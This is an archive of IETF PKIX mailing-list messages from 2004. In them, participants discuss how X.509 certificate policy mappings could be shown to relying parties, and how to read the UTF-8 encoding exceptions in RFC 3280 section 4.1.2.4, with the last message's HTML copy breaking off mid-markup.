Date: Fri, 30 Jan 2004 10:15:08 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Thread-Index: AcPnHwRhGKQq682qT7SKRBDisAkS1AAIt5dw
In-Reply-To: <00eb01c3e714$9958ed50$0500a8c0@arport>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders,

When policy mappings are appropriately applied by the infrastructure,
relying parties need only to know about their own domain policies.  If I'm a
user at "XYZ corp", I will know that there are three XYZ policies; "XYZ
low", "XYZ medium", and "XYZ high".  Even if the signer is someone from
"Acme corp" with an "Acme External" certificate policy, the policy mappings
should cause me to see it at "XYZ low"; I don't need to look at Acme's
certificate policy document, my infrastructure has already done that and
made their decision on how "Acme External" should be mapped to an XYZ
policy.

I do not understand what you think is a potential security hazard.  The
relying party's infrastructure is responsible for what the relying party
trusts or does not trust.  The relying party's infrastructure uses technical
controls to control that trust, and the technical controls are in the
certificates issued by the relying party's trust root.  These controls
include the certificate policies, policy mappings, policy constraints, basic
constraints and name constraints extensions.

Will this be useful to David's grandmother?  No, of course not.  David's
grandmother has no need for this level of detail or assurance.  (Not to
mention she's probably using a $20 "your credit card number is good enough
identity proofing for us" certificate.)  A mutual fund manager who is
responsible for $500 million in assets, or a battlefield commander
responsible for the lives of thousands of soldiers probably *will* need this
level of detail and assurance.

--Peter

+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been 
a statue set up in honor of a critic." --Jean Sibelius

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Anders Rundgren
Sent: Friday, January 30, 2004 4:37 AM
To: David Cross; Peter Hesse
Cc: [e-mail]
Subject: Re: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)


Peter,

If a sender of a signed message is using a certificate from a PKI that
requires policy filtering by the relying party (be it a server or Outlook),
then the sender creates a potential security hazard as the relying party
after trust anchor installation is likely to also "trust" what effectively
could be completely other types of certificates. 

One culprit is that there is no good universal way to communicate CA policy
information, except by requiring relying parties to decipher CP documents,
making the configuration process less user-friendly.

That is, multiple policy PKIs are not unsuitable only for consumers like
David's grandma, but in most open environments where many relying parties
are involved.

Regarding the user interface, you forgot to mention that the policy settings
must be per CA or groups of CAs further complicating matters.
But maybe, we are really talking local PKIs here?

Anders


----- Original Message -----
From: "David Cross" <[e-mail]>
To: "Peter Hesse" <[e-mail]>
Cc: <[e-mail]>
Sent: Thursday, January 29, 2004 19:30
Subject: RE: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)



Your 2 cents may not be too far off the mark...however, some comments...

A.  Today, in a Windows XP+ and Windows Server 2003 environment, we do
have the capability to configure an Active Directory (domain)
environment as you describe.  I agree this is an example of the
direction you describe.

B.  Technically, this also exists in most chaining engines and UI,
although the policy information is not exposed as a first class citizen,
argueably for several reasons such as my grandmother just is not
interested in policy status of my signed mail to her, but I digress...

Items C. and D. are the slippery slope that have obvious utility in the
enterprise and/or high assurance environments, but not in the general
global consumer community.  My grandmother just won't understand the
meaning of "initial-policy-mapping-inhibit" no matter how much she loves
me.


David B. Cross 



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
On Behalf Of Peter Hesse
Sent: Thursday, January 29, 2004 7:05 AM
To: 'Anders Rundgren'; 'Steve Hanna'; 'Stephen Kent'
Cc: [e-mail]
Subject: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)


I'll take the bait and throw this idea out there for you all to think
about.
It's not entirely my idea, it is based on ideas discussed with Dave
Fillingham over the years.  Let's assume for the moment that you're
working with a PKI with a few different certificate policies in use;
they might be hardware/software stored keys, or high/medium/low
assurance.

It is my suggestion that for a majority of PKI-enabled products with
user interfaces, the best solution may be to do the following:

A) Provide an administrative interface to map certificate policy OIDs to
human readable names, and potentially human readable descriptions of the
policies as well.

B) When building/validating certification paths, set the
initial-policy-set to any policy.  When a path successfully validates,
display the signature and validation status to the user, along with the
human readable names for the policies in the
authority-constrained-policy-set, or an indication that the path was not
valid under any known policies.

If these steps are followed, the user can just be informed that the
message they received was valid for "Gemini medium assurance" or
something like that.  Not much difficulty to implement, nor would it be
too difficult to educate the users.

Now, assume we're dealing with a PKI larger than a single organization,
where there are differing certificate policies and appropriate
certificate policy mappings in place.  (Such as a Bridge CA
environment.)  I'm assuming in this case that all certificates that I
want my relying parties to accept would have certificate policies
asserted.  In this case, we add just two more steps:

C) When validating paths, set initial-explicit-policy to TRUE, to ensure
that only paths valid for a policy would be accepted.  (Or, set
requireExplicitPolicy through policyConstraints extensions in domain or
cross-certificates.)

D) Provide users with a switch to enable/disable
initial-policy-mapping-inhibit.  This may be referred to as "allow only
my organization" and "allow other organizations".  I'm presuming that
cross-certificates would fail to validate if require-explicit was true
and policy mappings don't take place.

Likewise, even if I received a message from a user from a different
organization, I would simply see that the message validated and that it
was valid under the "Gemini low assurance policy" or something similar.
This doesn't add much implementation difficulty (assuming a compliant
path processing system) or make it too confusing for the user.

Just my $0.02.

--Peter

+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been a statue
set up in honor of a critic." --Jean Sibelius



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGrxeI001208; Fri, 30 Jan 2004 08:53:59 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0UGrx4l001207; Fri, 30 Jan 2004 08:53:59 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-dub.microsoft.com (mail-dub.microsoft.com [213.199.128.160]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UGruIp001188 for <[e-mail]>; Fri, 30 Jan 2004 08:53:56 -0800 (PST) (envelope-from [e-mail])
Received: from dub-imc-01.europe.corp.microsoft.com ([65.53.196.35]) by mail-dub.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 30 Jan 2004 16:40:56 +0000
Received: from 65.53.196.35 by dub-imc-01.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 30 Jan 2004 16:40:54 -0000
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by dub-imc-01.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 30 Jan 2004 16:40:51 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------InterScan_NT_MIME_Boundary"
Subject: RE: UTF-8 encoding after December 31 2003
Date: Fri, 30 Jan 2004 16:40:54 -0000
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: UTF-8 encoding after December 31 2003
Thread-Index: AcPkVeHrRXXPuwIBSvyHAkalHTFTOAC+LCrw
From: "Stefan Santesson" <[e-mail]>
To: <[e-mail]>, <[e-mail]>, <[e-mail]>, "Tim Polk" <[e-mail]>, "Russ Housley" <[e-mail]>
X-OriginalArrivalTime: 30 Jan 2004 16:40:51.0234 (UTC) FILETIME=[D23FE020:01C3E74F]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3E74F.BDE13EC0"

------_=_NextPart_001_01C3E74F.BDE13EC0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Due to the silence on this thread I have to restate the question and ask
for WG chairs and RFC 3280 editors' clarification:

=20

I'm asking for clarification on how to interpret the exceptions to UTF-8
encoding after December 31, 2003 stated in 4.1.2.4.

=20

=20

Case:

I have a CA (root or intermediate) with an operational CA certificate
that is valid far into the future e.g. 2010. This CA certificate has
Issuer and subject name in old encoding.

=20

Question:=20

Is it OK to issue certificates from that CA that has an Issuer name
matching the subject name of the existing CA certificate (in old
encoding)?

=20

=20

/Stefan

________________________________

From: [e-mail] [mailto:[e-mail]]
On Behalf Of Jim Schaad
Sent: den 26 januari 2004 21:32
To: Stefan Santesson; [e-mail]
Subject: RE: UTF-8 encoding after December 31 2003

=20

Stefan,

=20

I don't read (b) in the same way as you do.  I read this as saying if a
CA has a certificate with a non-UTF8 encoded subject name, then the
issuer name in all certificates it issues MUST be the non-UTF8 subject
name of the CA.  This means you don't need to update the CA certificate,
but that all new certificates issued by the CA must be using UTF8
strings.

=20

jim

	-----Original Message-----
	From: [e-mail]
[mailto:[e-mail]] On Behalf Of Stefan Santesson
	Sent: Monday, January 26, 2004 9:23 AM
	To: [e-mail]
	Subject: UTF-8 encoding after December 31 2003

	All,

	=20

	I have a problem with the UTF-8 requirements in RFC 3280 after
December 31, and would appreciate guidance on interpretation of RFC 3280
as well as other implementers view on this.

	=20

	The situation:

	=20

	Conforming CA:s must encode attributes of DirectotyString types
as UTF-8 after=20

	December 31, 2003.

	=20

	Exceptions are stated in RFC 3280 (section 4.1.2.4):

	=20

	   Exceptions to the December 31, 2003 UTF8 encoding
requirements are as

	   follows:

	=20

	      (a)  CAs MAY issue "name rollover" certificates to support
an

	      orderly migration to UTF8String encoding.  Such
certificates would

	      include the CA's UTF8String encoded name as issuer and and
the old

	      name encoding as subject, or vice-versa.

	=20

	      (b)  As stated in section 4.1.2.6, the subject field MUST
be

	      populated with a non-empty distinguished name matching the

	      contents of the issuer field in all certificates issued by
the

	      subject CA regardless of encoding.

	=20

	=20

	My interpretation of this is:

	=20

	a) only applies for self issued certificates with the same CA
name as issuer and subject (but in different encodings). Introducing
such name roll-over certificates extend the certificate chain and may be
problematic since it may break both naming and path length constraints
expressed by chaining CAs.

	=20

	b) seams to be a catch 22. You can populate the subject field
with old encoding to match old encoded issuer names in descending
certificates, but since no descending CA can populate the issuer field
with old encoding it doesn't really apply.

	=20

	=20

	The issue:

	There seems to be a problem with practical reality here in case
the interpretation above is correct.

	=20

	Question 1)

	What if I have a Root CA valid to 2020 with subject and issuer
name in old encoding?

	=20

	Can that Root CA issue an intermediary CA certificate with the
issuer field in old encoding, matching the subject field of the current
root CA Certificate?

	=20

	Question 2)

	What if I have a CA with a current operating CA certificate that
expires 2006. Can this CA issue certificates after December 31, with the
issuer name in old encoding, matching the encoding of the current CA
certificate until it expires, or must this CA change its name and have
its CA certificate renewed before December 31?

	=20

	If RFC 3280 prevents operating CAs to issue certificates with
the issuer field matching the CA:s current certificate, until it
expires, then we face a huge legacy problem. Especially since name
matching for different encoding types are not required.

	=20

	4.1.2.4 states

	"(a)  attribute values encoded in different types (e.g.,

	      PrintableString and BMPString) MAY be assumed to represent

	      different strings;"

	=20

	=20

	If my concerns are wrong and the issuing such certificates is
allowed, then this needs to be clarified.

	=20

	=20

	=20

	Stefan Santesson

	Program Manager, Windows Security

	=20


------_=_NextPart_001_01C3E74F.BDE13EC0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]-->
<title>Message</title>
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
p.MsoPlainText, li.MsoPlainText, div.MsoPlainText
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:10.0pt;
	font-family:"Courier New";}
span.EmailStyle18
	{mso-style-type:personal;
	font-family:Arial;
	color:windowtext;}
span.EmailStyle20
	{mso-style-type:personal-reply;
	font-family:Arial;
	color:navy;}
@page Section1
	{size:612.0pt 792.0pt;
	margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Due to the silence on this thread I =
have
to restate the question and ask for WG chairs and RFC 3280 =
editors&#8217;
clarification:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>I&#8217;m asking for clarification =
on how
to interpret the exceptions to UTF-8 encoding after December 31, 2003 =
stated in
4.1.2.4.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Case:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>I have a CA (root or intermediate) =
with an
operational CA certificate that is valid far into the future e.g. 2010. =
This CA
certificate has Issuer and subject name in old =
encoding.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Question: =
<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Is it OK to issue certificates from =
that
CA that has an Issuer name matching the subject name of the existing CA
certificate (in old encoding)?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<div>

<p class=3DMsoNormal><strong><b><font size=3D2 color=3Dolive =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>/Stefan</span></=
font></b></strong><o:p></o:p></p>

</div>

<div style=3D'border:none;border-left:solid blue 1.5pt;padding:0cm 0cm =
0cm 4.0pt'>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D2 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;
font-family:Tahoma;font-weight:bold'>From:</span></font></b><font =
size=3D2
face=3DTahoma><span style=3D'font-size:10.0pt;font-family:Tahoma'>
[e-mail] [mailto:[e-mail]] =
<b><span
style=3D'font-weight:bold'>On Behalf Of </span></b>Jim Schaad<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> den 26 januari 2004 =
21:32<br>
<b><span style=3D'font-weight:bold'>To:</span></b> Stefan Santesson;
[e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> RE: UTF-8 =
encoding after
December 31 2003</span></font><o:p></o:p></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dblue face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:blue'>Stefan,</span></font><o:p></o:p></p>=


</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dblue face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:blue'>I don't read (b) in the same way as =
you
do.&nbsp; I read this as saying if a CA has a certificate with&nbsp;a =
non-UTF8
encoded subject name, then the issuer name in all certificates it issues =
MUST
be the non-UTF8 subject name of the CA.&nbsp; This means you don't need =
to
update the CA certificate, but that all new certificates issued by the =
CA must
be using UTF8 strings.</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dblue face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:blue'>jim</span></font><o:p></o:p></p>

</div>

<blockquote style=3D'border:none;border-left:solid blue =
1.5pt;padding:0cm 0cm 0cm 3.0pt;
margin-left:2.95pt;margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt'=
>

<p class=3DMsoNormal style=3D'margin-bottom:12.0pt'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original =
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> =
[e-mail]
[mailto:[e-mail]] <b><span =
style=3D'font-weight:bold'>On
Behalf Of </span></b>Stefan Santesson<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Monday, January 26, =
2004
9:23 AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> UTF-8 encoding =
after
December 31 2003</span></font><o:p></o:p></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>All,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>I have a problem with the UTF-8 requirements in RFC 3280 after =
December
31, and would appreciate guidance on interpretation of RFC 3280 as well =
as
other implementers view on this.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The situation:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Conforming CA:s must encode attributes of DirectotyString types =
as
UTF-8 after <o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>December 31, 2003.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Exceptions are stated in RFC 3280 (section =
4.1.2.4):<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; Exceptions to the December 31, 2003 UTF8 encoding
requirements are as<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; follows:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (a)&nbsp; CAs MAY issue =
&quot;name
rollover&quot; certificates to support an<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; orderly migration to UTF8String
encoding.&nbsp; Such certificates would<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include the CA's UTF8String =
encoded name
as issuer and and the old<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;name encoding as subject, or =
vice-versa.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (b)&nbsp; As stated in section =
4.1.2.6,
the subject field MUST be<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; populated with a non-empty =
distinguished
name matching the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; contents of the issuer field in =
all
certificates issued by the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;subject CA regardless of =
encoding.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>My interpretation of this is:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>a) only applies for self issued certificates with the same CA =
name as
issuer and subject (but in different encodings). Introducing such name =
roll-over
certificates extend the certificate chain and may be problematic since =
it may
break both naming and path length constraints expressed by chaining =
CAs.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>b) seams to be a catch 22. You can populate the subject field =
with old
encoding to match old encoded issuer names in descending certificates, =
but
since no descending CA can populate the issuer field with old encoding =
it
doesn&#8217;t really apply.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The issue:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>There seems to be a problem with practical reality here in case =
the
interpretation above is correct.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 1)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a Root CA valid to 2020 with subject and issuer =
name in
old encoding?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Can that Root CA issue an intermediary CA certificate with the =
issuer
field in old encoding, matching the subject field of the current root CA
Certificate?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 2)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a CA with a current operating CA certificate that
expires 2006. Can this CA issue certificates after December 31, with the =
issuer
name in old encoding, matching the encoding of the current CA =
certificate until
it expires, or must this CA change its name and have its CA certificate =
renewed
before December 31?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If RFC 3280 prevents operating CAs to issue certificates with =
the
issuer field matching the CA:s current certificate, until it expires, =
then we
face a huge legacy problem. Especially since name matching for different
encoding types are not required.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>4.1.2.4 states<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&#8220;(a)&nbsp; attribute values encoded in different types =
(e.g.,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PrintableString and BMPString) =
MAY be
assumed to represent<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; different =
strings;&#8221;<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If my concerns are wrong and the issuing such certificates is =
allowed,
then this needs to be clarified.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><strong><b><font size=3D2 color=3Dolive =
face=3DArial><span
